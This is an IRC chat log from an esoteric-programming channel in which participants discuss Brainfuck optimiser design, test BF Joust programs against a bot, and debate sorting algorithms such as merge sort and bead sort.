rem 256). 16:20:34 is_inf(_Const, _Diff, 0) -> false; 16:20:34 is_inf(Const, _Diff, Const) -> true; 16:20:34 is_inf(Const, Diff, Cur) -> is_inf(Const, Diff, (Cur + Diff) rem 256). 16:22:30 probably slow. but when testing I detected no major slow down. about half a second extra for lostking, and since I'm already taking around 40 seconds for it... 16:25:56 -!- Dewio has joined. 16:26:37 -!- Dewi has quit (Read error: 60 (Operation timed out)). 16:32:09 -!- kar8nga has joined. 16:39:39 -!- KingOfKarlsruhe has quit (Remote closed the connection). 16:44:48 -!- ais523 has quit (Remote closed the connection). 17:22:30 -!- M0ny has joined. 17:23:00 plop 17:23:21 -!- ais523_ has joined. 17:25:55 -!- ais523_ has changed nick to ais523. 17:28:51 -!- kar8nga has quit (Remote closed the connection). 17:33:24 -!- ais523 has quit (Read error: 54 (Connection reset by peer)). 17:34:35 -!- ais523 has joined. 17:38:22 -!- KingOfKarlsruhe has joined. 17:41:36 -!- Corun has joined. 17:59:36 -!- Corun has changed nick to Corun|away. 18:03:25 ais523, there? IIRC you wondered what optimisations were broken by treating [>>[[-]++]] as balanced for example? 18:03:35 that specific one: probably none 18:03:35 yes, I did 18:03:37 but what about 18:03:59 [>+[>]++[[-]++]] 18:04:21 ais523, because "balance" for me means that I can simply move > ahead and offset the instruction 18:04:24 which will break in that cas 18:04:27 case* 18:04:28 like: 18:04:52 turning >> [>+[>]++[[-]++]] into [(offset 2) >+[>]++[[-]++]] >> isn't valid 18:05:06 AnMaster: [>[-]>[>]+[<]<[-]] is balanced 18:05:12 but doesn't fit your balance optimisatoin 18:05:20 *optimisation 18:05:23 where offset means that p+=1; p[0] turns into p[1] p+=1; 18:05:34 and actually, in that case it is, because you do no I/O between the time the opimisation messes up and the infinite loop 18:06:13 ais523, in general it breaks though. I managed to generate a test case where it ends up accessing p[-1] in that case due to shifting the "p+=" forward 18:06:40 ah, ok 18:06:53 ais523, well a[-1] in fact. Out of bounds. 18:06:57 where a is the actual array 18:07:13 +>+>+<<[>]>>>> ,[ <,[,.]>[-]+ [++>->>>>,[,]<<<<-<]< ,] ,. 18:07:20 well, ok 18:07:28 you probably need a different term than "balanced" 18:07:35 maybe "known-offset" 18:07:37 the first bit is there only to make the "initial memory is all zero and use that knowledge" pass give up before 18:07:42 so it is easier to see what happens 18:08:28 -!- Corun|away has changed nick to Corun. 18:08:44 AnMaster: in [-]+[>[-]] the second loop isn't balanced, but it still has a known offset 18:08:55 (although, of course, nobody would deliberately write that particular program like that) 18:09:03 hm 18:09:27 ais523, I don't think even lostking contains that! 18:09:35 and lostking is horrible code 18:09:40 I think that what you need for that optimisation is not that the current loop is balanced, but that all loops it contains are balanced 18:09:56 even [>+] could be optimised with that optimisation 18:09:59 in fact you could optimise lost king by running it through an optimiser and outputting it back to bf 18:10:01 :) 18:10:01 LostKng is horrible, but hey, it's auto-generated. 18:10:13 instead of p+=1; *p++; you could do p[1]++; p+=1; 18:10:23 of course, you don't gain anything directly in such a short loop, but you might if it were more complicated 18:10:24 AnMaster: A dead-code elimination pass alone does wonders. 18:10:25 ais523, I do that already inside the loop 18:10:27 say [>+>+>+] 18:10:40 AnMaster: well, that optimisation has nothing to do with the loop being balanced or not 18:10:49 just to do with the loops /inside/ that loop being balanced 18:11:37 -!- BeholdMyGlory_ has joined. 18:12:55 ais523, my shifter pass, which is peephole style (operates on pairs of instructions), does "don't ever shift across unbalanced loops, shift pointer moves forward across everything else, don't two IO instructions across each other, when possible sort by offset" 18:13:10 it also recurses into loops to try to shift internally in them 18:13:38 getting rid of created >< and such is up to the combiner pass next time it runs. 18:13:39 AnMaster: well, I don't think unbalanced loops with embedded infinite loops mess that algorithm up 18:13:52 and that reminds me of gcc-bf, actually 18:14:01 I'm not entirely sure if it cleans up >< created as a result of that sort of thing 18:14:04 -!- BeholdMyGlory__ has joined. 18:14:04 ais523, I have a almost-DSL for it 18:14:13 AnMaster: like OIL? 18:14:27 ais523, more like you would make a DSL in scheme. 18:14:34 -!- BeholdMyGlory has quit (Nick collision from services.). 18:14:58 -!- BeholdMyGlory__ has changed nick to BeholdMyGlory. 18:15:07 I did a table describing all possible combinations, then I seralised it into a function returning a set of actions given two instructions. 18:15:23 err... you serialised a table into a function? 18:15:28 I don't think that's what "serialised" means 18:15:37 ehird: if you're here, please now laugh at either me or AnMaster 18:15:37 ais523, well I don't know a better word 18:15:41 it is not the right one 18:15:45 possibly 18:16:02 you could try the general "compiled", I suppose 18:16:14 or "hardcoded", even, although that might be ambiguous 18:16:20 or just the even more general "converted" 18:16:26 anyway the function returns false | {true, nochange | TranslatorFunc} | {maybe, TranslatorOrFalseFunc} 18:16:44 it just gets instruction names, no details like offsets and such 18:16:56 ais523, and I hand compiled it I guess 18:17:06 by trying to create a minimal set of rules 18:18:00 ais523, http://rafb.net/p/zosmmI54.html was the table. Haven't updated it after I added if/repeat/loop_inf 18:19:24 and and example from the serialising: 18:19:26 %% Swap mov ahead always. 18:19:26 should_swap({_,_}, {mov, _}) -> false; 18:19:26 %% Offset shouldn't change for out_const. 18:19:26 should_swap({mov, _}, {out_const, _}) -> {true, nochange}; 18:19:26 should_swap({mov, _}, {_,_}) -> {true, fun shift_mov/2}; 18:20:09 where the second parameter is used for loops to say if they are finite or infinite (or unknown), if they contain IO and so on. 18:20:20 loops and other blocks* 18:21:58 ais523, you know that fingerprint specification file thing that cfunge uses? 18:22:04 would you call that a DSL or not 18:22:04 yes... 18:22:11 and not really, it's more a file format 18:22:17 hm 18:22:20 true 18:22:22 would you call PNG a domain-specific language? 18:22:32 ais523, actually: maybe 18:22:45 though not a plain text such then 18:22:47 I wouldn't 18:22:58 ais523, hm yeah you can't compute with it indeed 18:23:08 ais523, what about svg then 18:23:11 that is definitely DSL 18:23:23 it's more a markup system + a scripting language 18:23:28 and JavaScript isn't very domain-specific 18:23:45 as for whether XML's a language or not, that's probably flamewar-worthy, so I won't go into it 18:24:02 XSLT is a langauge though 18:24:26 you can't possibly disagree about XSLT being a DSL 18:24:49 XSLT, I agree with you 18:26:02 ok... this is strange how did an loop_inf end up with loop data saying it is unknown if it is finite or not... 18:28:43 ais523, that [-]+[>[-]] ... Have there been much work on optimising unbalanced loops in BF before? 18:28:52 I don't think so 18:28:57 hm... 18:29:02 I do it partly 18:29:04 although, I've been thinking about the problem a lot in relation to gcc-bf 18:29:06 -!- BeholdMyGlory_ has quit (Connection timed out). 18:29:10 where most of the loops are unbalanced 18:29:27 the problem is to be able to demonstrate that the IP is known most of the time anyway 18:29:34 like propagating "infinite loop" upwards for unbalanced loops that contain infinite that will always be run. 18:29:58 though actual infinite loops I can only detect directly for balanced loops otherwise 18:31:00 ais523, you could put a bound on [>] for example by building a tri-state map containing "known set to constant, possibly clobbered, unknown" 18:31:24 example: +>+>+><<<[>] can be solves that way 18:31:30 AnMaster: yes 18:31:47 that is assuming at start of program or the values of those cells known to not be 254 due to something else 18:31:52 err 18:31:53 255 18:31:56 not 254 18:31:57 in gcc-bf, knowing that every third cell is usually set to 1, for instance, is very useful to do various sorts of optimisations 18:32:08 ais523, "usually"? 18:32:16 that doesn't help a lot 18:32:22 -!- inurinternet has changed nick to johnnyfive. 18:32:27 AnMaster: if they were left at 1 forever, they wouldn't be useful at all 18:32:39 but they only have different values for short periods of time 18:32:41 and only one does at a time 18:32:43 ais523, how could compiler know when it was at 1 then 18:33:00 well, it always is in the outer loop 18:33:06 although actually proving that might be rather difficult 18:33:08 ais523, does the generated bf contain any dead code? 18:33:24 AnMaster: it could do, but that would be if there was dead code in the asm 18:33:26 -!- BeholdMyGlory has quit (Connection timed out). 18:33:38 ais523, so no possibly BfBASIC style dead code? 18:33:39 and you'd need to investigate every function pointer in the input C to make sure it never called into that code 18:33:53 ais523, -fwhole-program 18:33:59 AnMaster: again, possible if you have something like a while loop which never iterates 18:33:59 -!- johnnyfive has changed nick to inurinternet. 18:34:00 could possibly do that 18:34:14 ais523, well sure, if the input C contains dead code 18:34:31 but I meant, will you ever generate anything like [-]+[->+++<] 18:34:32 or such 18:34:35 why are you so bothered about this, anyway? 18:34:39 -!- oerjan has joined. 18:34:51 and it might at the moment, I'm not sure how much I optimise 18:35:00 it's quite likely you could even generate >< with the current code 18:35:19 ais523, when BF code is so bad it can be optimised at the pure BF code level then I get rather uncomfortable 18:35:34 AnMaster: well, I'm aiming for something that works first 18:35:47 and the optimisations are likely to be peephole rather than global 18:35:48 -!- inurinternet has changed nick to sighcomputer. 18:35:54 ais523, lostking contains lots of dead code, and I don't detect all of it yet. 18:35:54 as in, that gcc-bf is missing 18:36:22 -!- sighcomputer has changed nick to inurinternet. 18:36:29 ais523, You mean you need peep hole optimisers? 18:36:39 yep 18:36:40 May I recommend erlang, it is truly awesome for those 18:36:44 but they're trivial enough to hack onto the end 18:36:51 and may I recommend Perl, it's even more awesome for those 18:36:53 it fits the pattern matching of erlang perfectly 18:36:58 -!- inurinternet has quit. 18:37:12 AnMaster: does erlang have pattern matching as powerful as Perl regexes? 18:37:12 optimise([#bfn{ ins = add, off = Offset, val = V2 }|T], 18:37:12 [#bfn{ ins = add, off = Offset, val = V1 } = A|Result]) -> 18:37:12 optimise(T, [A#bfn{ val = V1 + V2 }|Result]); 18:37:16 -!- inurinternet has joined. 18:37:18 :P 18:37:56 ais523, no, but it does have PCRE. Don't think it works at language level currently. Though I heard some rumours about that being considered. 18:38:09 -!- tombom has joined. 18:38:28 07:44 bsmntbombdood: ....my computer just crashed ← did you do something wrong? 18:38:50 ehird, what OS did he run 18:39:55 ais523, btw I recently read an interesting article about using superoptimiser to generate better peep hole optimisers. 18:40:05 an optimiser optimiser? 18:40:27 ais523, http://cs.stanford.edu/~sbansal/pubs/asplos06.pdf (linked from http://en.wikipedia.org/wiki/Superoptimization) 18:40:28 and I've had a couple of kernel panics over here before too, I think the wireless driver was at fault 18:40:34 but none recently 18:41:03 I have rougly one or two kernel panics / year. 18:41:14 AnMaster: what causes them? 18:41:18 17:15 AnMaster: I did a table describing all possible combinations, then I seralised it into a function returning a set of actions given two instructions. 18:41:18 17:15 ais523: err... you serialised a table into a function? 18:41:20 17:15 ais523: I don't think that's what "serialised" means 18:41:22 17:15 ais523: ehird: if you're here, please now laugh at either me or AnMaster 18:41:24 /me laughs at AnMaster 18:41:32 AnMaster: I think he's using Debian, and I don't care how many kernel panics you have. 18:41:39 ais523, usually nvidia or vmware drivers. Once buggy USB in kernel (around 2.6.8 or so) 18:41:51 "Wolfram Alpha v Google: Which is better? 18:41:52 Wolfram Alpha is the new computational search engine that could revolutionise the way we use the web. But is it good enough to replace Google as the most popular online search engine?" 18:41:54 *smashes head against brick wall* 18:42:03 ehird, I was talking to ais 18:42:15 pj 18:42:16 oh 18:42:16 I know I once managed to compile a division by zero into a custom kernel I was compiling 18:42:21 ehird, about how many kernel panics I had 18:42:21 so that panicked every single time 18:42:24 well ais523 was talking about bsmntbombdood's panic too 18:42:25 I never directed it to him 18:42:30 GregorR: GregorR-L: here? 18:42:30 ais523, hehe 18:42:34 and I don't care about ais523's crashes either 18:42:38 :p 18:42:46 ehird: but AnMaster does, I think 18:43:01 ais523: only so he can comment on how much more stable his system is 18:43:02 I don't run custom kernels on my own hardware, but this was for a project where we needed a massively small kernel 18:43:03 ais523, oh and of course I had a "panic, boot drive not found" when I messed up in grub on new installs. 18:43:08 happened a few times 18:43:14 AnMaster: you mess around with grub by hand? 18:43:22 my package manager sorts that out for me 18:43:29 ais523, um... grub-install misdetected what hd0 and hd1 was 18:43:31 :P 18:43:45 ais523, so even if I had used a package manager to do it, it wouldn't have helped 18:43:52 http://i.somethingawful.com/u/dannymanic/wolfram/wolfram04.gif ← oh, SA. 18:43:54 it automatically generates a sane grub configuration based on which packages you have installed 18:44:09 * ais523 vaguely wonders what it would do if I tried to uninstall the kernel; maybe default to booting memtest86 18:44:13 ais523: AnMaster messes around with _everything_ by hand 18:44:24 ehird: you can mess around with the auto-grub thing by hand too 18:44:27 just most people don't bother 18:44:33 ais523, basically linux live cd saw /dev/sda (SATA) and /dev/hda (PATA), grub-install decided sda was hd0. When booting it had instead decided hda was hd0 18:44:42 ais523, was ages ago 18:44:50 ais523: but that requires he let something else do trivially automatable work! 18:45:36 -!- MizardX has quit ("What are you sinking about?"). 18:46:08 ais523, and this could not possibly have been solved by a package manager. However. After switching to a new mobo (the old one broke, on warranty), I haven't had issues with reversed interpretations in grub 18:46:17 different mobo model in case you wonder 18:46:48 Speaking of the somethingawful W|A test, here's one particular input that went around IRC too: 18:46:49 W|A "2 girls x 1 cup the meaning of life": Input interpretation "2 girls × 1 cup × answer to life, the universe, and everything", result "84 cup girls". 18:47:03 That's a... rather interesting unit. 18:47:08 :D 18:47:22 um 18:47:26 what is up with the google logo 18:47:33 fizzie: http://www53.wolframalpha.com/input/?i=2+girls+1+cup gives it too 18:47:35 AnMaster: hover over 18:47:38 it changes all the time... 18:47:41 clicking on it gives me "missing link found" 18:47:44 * ais523 looks 18:47:47 surely you've noticed google's holiday logso 18:47:49 It's about the new fossil discovery, I guess. 18:47:49 logos 18:47:52 fizzie: yes 18:47:59 (this is evidence about how rarely I use Google, and how even more rarely AnMaster uses Google) 18:48:01 ehird, yes.. but which one is this 18:48:04 total baloney of course, the world is 6000 years old and was created in 7 days 18:48:09 ais523: AnMaster uses google all the time 18:48:11 AnMaster: hover ove 18:48:12 r 18:48:15 ehird: ah, ok 18:48:18 AnMaster: also 18:48:23 click the links on the missing link found? 18:48:27 it always links toa relevant search 18:48:28 ehird, Oh about darwin 18:48:37 ehird, clicking on it -> http://www.google.com/search?q=missing+link+found&ct=missinglink&oi=ddle 18:48:42 yes? 18:48:45 look at the articles 18:48:46 they're relevant 18:48:49 ehird: that "missing link" fossil had a similar release to Wolfram Alpha 18:48:49 oh 18:48:50 I was 18:48:52 hype-wise 18:48:53 thinking 18:48:55 so I don't entirely trust it 18:48:57 missing link == 404 18:48:58 :P 18:49:05 AnMaster: heh 18:49:10 Well, the "news results" articles are reasonably relevant, at least some of them. 18:49:15 ais523: I don't trust it because 18:48 ehird: total baloney of course, the world is 6000 years old and was created in 7 days 18:49:28 ehird: you don't believe that 18:49:28 -!- kar8nga has joined. 18:49:31 One of them is http://www.thespoof.com/news/spoof.cfm?headline=s5i53486 which is not quite what it's about. 18:49:37 ehird, "404 Not Fou.. Wait sorry, here it is. Err. 200!" 18:49:39 ais523: Correct! I know it! 18:50:26 sadly the HTTP protocol doesn't let you say you did a mistake halfway through the transmission 18:50:29 Also, we're crafted out of clay. 18:50:42 AnMaster: are you sure? 18:50:47 TCP does, at least 18:50:47 ais523: yes 18:50:51 so you could do it at the lower level 18:50:51 ais523, oh? 18:50:53 after the headers, it's just a raw stream 18:50:57 ais523, really? 18:51:04 ehird: I was thinking, halfway through the headers 18:51:14 AnMaster: if you send packets out of order, you can fill in the missing ones later 18:51:15 ais523: impossible too 18:51:19 there's no header for it 18:51:19 in fact, the other computer will bug you for them 18:51:22 ehird: pity 18:51:25 ais523, heh 18:51:41 AnMaster: useful because sometimes the packets end up out of order even though you sent them in the right order 18:51:49 oh yes, if HTML you could add in, then put the broken part inside 18:51:55 -!- BeholdMyGlory has joined. 18:52:08 however, hm 18:52:19 ais523, you had to make space for that extra packet right? 18:52:25 in the numbering 18:52:29 yes 18:52:41 ais523, and what if you decided you didn't need an out of order one there... 18:52:46 tricky 18:52:48 just send a packet full of comments 18:52:58 ais523, or zero length? 18:53:06 if that is valid 18:53:07 no idea 18:56:04 ais523: I am now. 18:56:14 GregorR-L: I wrote a BF Joust hg bundle 18:56:17 which is moderately tested 18:56:19 where should I send it? 18:57:50 sent 18:57:53 -!- MizardX has joined. 18:58:01 it requires Perl 5.10; I may have to produce a 5.8 version, depending on what you're running atm 18:59:07 ais523: debian testings' 18:59:11 hopefully perl 5.—— 18:59:13 Wait a second. 18:59:18 ais523? Depend on modern Perl features? 18:59:22 Ubuntu have been on Perl 5.10 for ages 18:59:24 ais523, did you read that about super-optimisation to produce better peep hole optimisers? 18:59:27 modern *5.10* features? 18:59:30 AnMaster: not the full article 18:59:35 ehird: and why not? 18:59:35 ais523: Who are you, and what did you do with ais523? 18:59:40 ais523, ah, see some examples near the end in a table 18:59:49 ehird: my aim for backwards compatibility is specifically about C-INTERCAL 18:59:55 it isn't so appropriate elsewhere 19:00:04 ais523: you've always seemed quite disdainful to the new fangled 5.10 stuff 19:00:09 I also believe in portability; but 5.10 is portable 19:00:18 and I don't remember being disdainful towards the 5.10 stuff 19:00:23 it makes the programs easier to read, at least 19:00:29 which is useful when showing them to someone else 19:17:10 -!- KingOfKarlsruhe has quit (Remote closed the connection). 19:18:13 hmm... does anyone else here view multiple short files by piping more into less? 19:20:01 * AnMaster makes a pass the scans once forward, then once backwards on the tree... 19:20:16 ais523, err what 19:20:19 why use more at all 19:20:47 oh I see. Pretty headers. 19:20:55 rather than having to do :n to see next fime 19:20:56 file* 19:21:21 ais523, I would never had thought of that... 19:22:42 ais523: that doesn't seem to work :< 19:22:58 ehird: as in, more *.c | less? 19:23:00 it works for me 19:23:11 I just get one of the files 19:23:24 no wait 19:23:27 I get all of the files, concatenated 19:23:32 from wikitech-l: How does one access the toolserver to use commands like that? with an axe. 19:24:03 Domas is in charge of server maintenance, etc, he's basically the person who most often uses root access on Wikimedia's servers 19:24:15 !bfjoust 19:24:15 Use: !bfjoust 19:24:40 sounds good 19:24:42 !bfjoust nop . 19:24:47 Score for nop: -2 (maximum 4) 19:24:55 Wooh, -2 rulz :P 19:25:00 I get all of the files, concatenated 19:25:02 here I get 19:25:05 hmm... that maximum's one higher than it ought to be 19:25:10 :::::::::::::: 19:25:10 Makefile 19:25:10 :::::::::::::: 19:25:12 stuff 19:25:15 :::::::::::::: 19:25:15 Emakefile 19:25:15 :::::::::::::: 19:25:17 other stuff 19:25:19 and so on 19:25:20 because in BF Joust, a program can never beat a copy of itself 19:25:25 I should have noticed that in my testing 19:25:26 not plain concatenation 19:25:49 GregorR-L: it puts a results table in a directory the same way the fyb one does 19:25:59 ais523: I see, I'll need to make that accessible some way :P 19:26:16 in fact, it's mostly the fyb code I'm using 19:26:19 mostly unmodified 19:27:28 http://codu.org/eso/bfjoust/report.txt 19:27:39 That looks a wee bit off ... 19:27:47 Oh, and I see why. 19:28:11 to do with tabs 19:28:13 I don't see a solution immediately, but I do see my looming dental appointment, so byeeeee :P 19:28:19 bye 19:28:38 anyway, attack/defend/fool are the scissors/rock/paper of BF Joust, I think 19:28:50 although writing good defence programs is /hard/ 19:28:58 at least, as far as I could tell 19:29:04 and a good attack can normally break through them 19:29:12 -!- asiekierka has joined. 19:29:13 hi ais523 19:29:16 hi asiekierka 19:29:19 ais523: How's BF Joust? Did anyone beat me? 19:29:21 !bfjoust nop . 19:29:26 Score for nop: -2 (maximum 4) 19:29:33 asiekierka: you can try out your programs on egobot now 19:29:36 yay! 19:29:46 ais523: Do you still have my app? 19:29:49 If yes, could you write it here? 19:29:51 I think I lost it 19:29:56 your program, you mean/ 19:30:02 as in, BF Joust program? 19:30:06 it should be in my logs, and in clog's logs 19:30:18 didn't you save it as "asiekierka.bf" 19:30:20 or someth 19:30:24 yes, but in /tmp 19:30:26 and I've rebooted since 19:30:26 oh 19:30:28 :/ 19:30:39 but it's in my logs, because you told me in the first place 19:31:10 [>+[-]+.] 19:31:17 !bfjoust asie1 [>+[-]+.] 19:31:18 Score for asie1: -1 (maximum 5) 19:31:21 ...eeh? 19:31:58 !bfjoust asie2 >>>>>>>>>>[>+[-]+.] 19:32:00 Score for asie2: -2 (maximum 6) 19:32:04 ... 19:32:07 !bfjoust asie2 >>>>>>>>>[>+[-]+.] 19:32:11 Score for asie2: -2 (maximum 6) 19:32:16 what's the scoring? 19:32:22 I thought I was 2nd place! 19:32:26 +1 for each program you beat, -1 for each program that beats you 19:32:36 and the test programs in there are different from the ones I was running against on my own computer 19:32:36 How many programs are there? 19:32:46 asiekierka: http://codu.org/eso/bfjoust/report.txt 19:32:59 it runs each program against all previous programs 19:33:19 !bfjoust asie1 [>+[-]+.] 19:33:19 Score for asie1: -1 (maximum 6) 19:33:25 !bfjoust ehirdomatic [[>[-]]>+] 19:33:28 Score for ehirdomatic: -1 (maximum 7) 19:33:40 the report runs in the background, so it won't update immediately 19:33:40 ais523: http://codu.org/eso/bfjoust/report.txt is empty now. 19:33:42 I broked it. 19:33:47 :( 19:33:48 see, it's non-empty now 19:33:50 ais523: it wipes it while running, it seems 19:33:54 yes 19:33:56 shouldn't it leave the previous content until then 19:33:58 that's silly 19:34:03 I just copied the FYB stuff 19:34:11 erm 19:34:13 ais523: 19:34:13 19:33 EgoBot: Score for ehirdomatic: -1 (maximum 7) 19:34:15 4 | - - - 0 - 0 | 15.3| -4| ehirdomatic.bfjoust 19:34:25 it says my score is 15, but correcting the obvious copypasta to pts, I get -4 there 19:34:27 and -1 from the bot 19:34:33 ehird: well, it's random tape lengths 19:34:37 although I'm not sure if that matters 19:34:46 ais523: it should average it out... 19:34:54 only one run for each pair of programs 19:34:59 otherwise it would take /ages/ 19:35:09 hm 19:35:28 ehird: although I will point out that your program is probably incapable of winning if the tape length is even 19:35:32 ais523, it might be interesting to have four states for the balance of a loop 19:35:34 which would explain the variety in results 19:35:39 ais523: argh 19:36:29 ais523, unknown, true and false are what I have currently. But it could be useful to have "sometimes" as well. Like: [>+,[>>[-]+]<] 19:36:33 Hmm, so I have 4 points? 19:36:34 that might be unbalanced 19:36:40 So I'm 1st place or what? 19:36:47 yep 19:36:51 ais523, also infinite though 19:36:52 maybe I should input one of my good programs 19:36:59 Well 19:36:59 I just put the basic program for each strategy in there to start with 19:37:07 I'm good with defense but bad at attack 19:37:30 !bfjoust ais523_defend5 >+>+([{>[(.)*20-]+}]<..........-[++[[]<(-..-.)*300>[>[-]+]]]<(+..+.)*300>[>[-]+])%2000 19:37:52 ()? 19:37:57 Score for ais523_defend5: -1 (maximum 8) 19:38:09 !bfjoust ais523_attack5 [>[-]-.-.-.-.-.-] 19:38:11 ais523, is high or low score bad 19:38:12 Score for ais523_attack5: -2 (maximum 9) 19:38:15 or best 19:38:15 AnMaster: high is good 19:38:17 a 19:38:32 attack5 does badly against other attack programs, but well against defense programs 19:38:32 ais523, so negative values indicate sucky programs? 19:38:35 which is why it's doing badly here 19:38:36 can't you auto-refresh report? 19:38:40 AnMaster: it means they lost more than they won 19:38:49 So I'm an attack program it seems 19:38:51 ais523, hm, which one won most 19:38:52 asiekierka: the report will take a whle to generate 19:38:54 which is wrong? 19:38:56 AnMaster: sam 19:38:57 *same 19:39:04 ais523, err? 19:39:09 same what 19:39:20 hmm... the "score for" seems wrong 19:39:29 !help 19:39:30 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 19:39:31 as in, ais523_attack5 won every single game on the report, which I tested 19:39:35 but is low on the score-for, which is wrong 19:39:43 um 19:39:50 that sorting is off 19:39:56 GregorR, ^ 19:40:09 how is it off 19:40:14 GregorR, it would be more useful if the list was sorted 19:40:14 I'm not reading the whole damn thing 19:40:16 AnMaster: the help? it isn't, it lists special commands first then interpreters 19:40:21 ais523, ah 19:40:29 fyb and bfjoust both need special handling 19:40:38 http://www.youtube.com/watch?v=SYRLTF71Sow - check this out xDD 19:40:47 ais523, I see... what about the text gen one though 19:41:01 AnMaster: I suspect that's programmed weirdly too 19:41:04 !bf_txtgen BF Joust 19:41:06 102 +++++++++++[>+++>++++++>+><<<<-]>>.++++.<-.>++++.+++++++++++++++++++++++++++++++++++++.++++++.--.+.>-. [83] 19:41:13 heh, >< 19:41:18 ais523, Old news 19:41:24 and that's a lot of +s in a row in the middle... 19:41:27 !bf_txtgen BF Joust 19:41:27 it has been discussed several times the last few days 19:41:29 102 +++++++++++[>+++>++++++>+><<<<-]>>.++++.<-.>++++.+++++++++++++++++++++++++++++++++++++.++++++.--.+.>-. [577] 19:41:52 I reckon a human could probably beat that easily 19:41:59 although I can't be bothered to right now 19:42:08 ais523, I think it could beat itself by running for more generations 19:42:10 !bf_txtgen BF Joust 19:42:13 77 +++++++++++[>+++>++++++>++++++++++>+<<<<-]>>.++++.<-.>++++.>+.++++++.--.+.>-. [222] 19:42:16 see 19:42:17 ehird: i dun think so 19:42:23 well i oomed but then i fixed it 19:42:28 ais523, it is genetic algo after all 19:42:31 yes 19:42:35 bsmntbombdood: what was it an? 19:42:55 bsmntbombdood, you have 12 GB ram and you OOMed? 19:42:58 w 19:42:59 t 19:43:01 h 19:43:02 did you do 19:43:13 i was running a few too many "sort -S 5G"s 19:43:20 err 19:43:25 why would you be sorting 5 gig of data? 19:43:25 why did you do that 19:43:43 it was actually more than 5 gigs of data 19:43:43 AnMaster: to use up RAM? 19:43:49 i wanted to see how fast it was! 19:43:49 ehird, why 19:43:52 hm 19:44:05 AnMaster: cuz he has no other use for 12g 19:44:10 and how well i could parallelize sort(1) with bash 19:44:27 err what 19:44:36 AnMaster: what 19:44:43 and how well i could parallelize sort(1) with bash 19:44:46 what 19:44:50 what what? 19:44:52 ... 19:45:26 sort -m <(sort first_chunk) <(sort second_chunk) 19:45:28 how can you use sort(1) + bash to sort a file in parallel.. 19:45:33 hm 19:45:41 ah ok 19:45:51 brilliant 19:45:52 to chunk up the file, use split -l and fifos 19:46:01 ais523, it is merge sort kind of I guess 19:46:06 why did you need to test it on gigabytes of data? 19:46:08 "kind of"? 19:46:10 AnMaster: "kind of"? 19:46:13 it /is/ merge sort 19:46:16 that is exactly merge sort 19:46:27 ais523, yes, but sort internally doesn't use that for all parts 19:46:32 so it is merge for the outermost layer 19:46:36 you can merge sort a quicksort 19:46:37 but not for the inner ones 19:47:12 the "inner" sort that works on the separate chunks are not using merge sort afaik 19:47:26 it does when the data is bigger than memory 19:47:29 AnMaster: pure-mergesort is a relatively common sorting technique nowadays 19:47:36 btw, what happens if you try to use a buffer size smaller than the file 19:47:38 because unlike quicksort, it isn't slowed by pathological data 19:47:38 to sort 19:47:47 mergesort is very elegant, i'm a big fan of it 19:47:54 AnMaster: you can write temporary stages of mergesort on disk 19:48:03 Mergesort is pretty spiffy, indeed. 19:48:06 ais523, sort(1) does that? 19:48:06 slows it down slightly due to disk I/O time, but mergesort streams very well 19:48:06 i am preempting all of AnMaster questions by a couple of seconds 19:48:18 AnMaster: I don't know, I'd have to look at the source 19:48:37 I'm a bit more fond of bucket sort for hand-sorting stuff, though. :p 19:48:54 bsmntbombdood: that'll fall down when he asks a really stupid question 19:48:56 I prefer sorting networks 19:49:08 AnMaster: why? 19:49:17 ais523: he said that yesterday do 19:49:19 pikhq: I generally use insertion sort when hand-sorting 19:49:26 probably they're all ~*PARALLEL*~ like <3Erlang<3 19:49:30 *too 19:49:33 because when sorting by hand, I'm not normally sorting much 19:49:35 i have to sort 100s of items every day at work 19:49:40 and normally sorting physical objects 19:49:46 and they insertion-sort well 19:49:50 ais523: That's what I do if I'm hand-sorting something that's partially sorted. 19:49:55 bsmntbombdood: if only 100, it shouldn't matter what algorithm you're using 19:50:03 unless you can't automate it 19:50:09 (say, my Magic cards got a bit unsorted by someone) 19:50:14 *by hand 19:50:14 (well, excluding silly ones like stooge-sort 19:50:16 ) 19:50:24 Bucket sort is much nicer for hand-sorting things that aren't very well-sorted. 19:50:24 ais523, isn't it O(log n) iirc? 19:50:32 !bf_txtgen BF Joust 19:50:34 102 +++++++++++[>++++++>+++>+><<<<-]>.++++.>-.<++++.+++++++++++++++++++++++++++++++++++++.++++++.--.+.>>-. [99] 19:50:37 ais523, in size 19:50:46 AnMaster: what is? 19:50:47 or is it O(n log n) in size 19:50:50 ais523, sorting networks 19:50:53 all sorts are at least O(n) in size 19:50:57 because otherwise you couldn't store all the data 19:51:17 and mergesort is O(n log n) in time, O(n) in size, IIRC 19:51:31 'Tis. 19:51:33 AnMaster: ok, I looked up sorting networks, and you're full of shit, because they're just a way to represent conventional sorting algorithms: http://en.wikipedia.org/wiki/Sorting_network#Insertion_and_Selection_networks 19:51:41 Unless you've got inefficient allocation, that is. 19:51:52 :p 19:51:58 ehird, http://en.wikipedia.org/wiki/Sorting_network#Optimal_sorting 19:52:10 mergesort's nice because it hits theoretical optimums for both time and size, /and/ its worst-case performance is the same as its best-case performance 19:52:13 AnMaster: how's that relevant at all? 19:52:28 ais523: wait, mergesort always uses the same amount of time for a given length? 19:52:46 ehird: yes for some implementations 19:52:52 awesome 19:52:59 I assume that it isn't exactly the same in practice due to things like branch prediction 19:53:03 it uses exactly the same amount of comparisons iirc 19:53:07 and people not writing the program symmetrically 19:53:10 but it's the same in comparison count 19:54:41 an abacus can sort in O(sqrt(n)) says wikipedia 19:55:01 http://en.wikipedia.org/wiki/Bead_sort#Complexity 19:55:20 AnMaster: Define n 19:55:30 oh, gravity-based. 19:55:36 ehird, read the link 19:59:14 i've done buck, quick, merge sort by hand 19:59:34 i just do crapsort 19:59:51 find something that looks too big/small for position, throw it in right direction 19:59:54 repeat until sorted 20:00:19 merge sort is actually rather adaptive when you do it by hand 20:04:40 * pikhq <3 bead sort. 20:04:47 -!- asiekierka has quit. 20:05:12 build a machine to do it 20:05:27 bsmntbombdood: it's called an abacus 20:05:38 a machine with digital i/o 20:05:55 with a scale large enough that it's actually faster than a general purpose cpu 20:05:55 I'm pretty sure you could build a sorting coprocessor to do bead sort. 20:05:59 bsmntbombdood: it's useless without an infinitely long abacus 20:06:07 Say, an FPGA. 20:06:14 pikhq: he means analogue 20:06:16 with actual beads 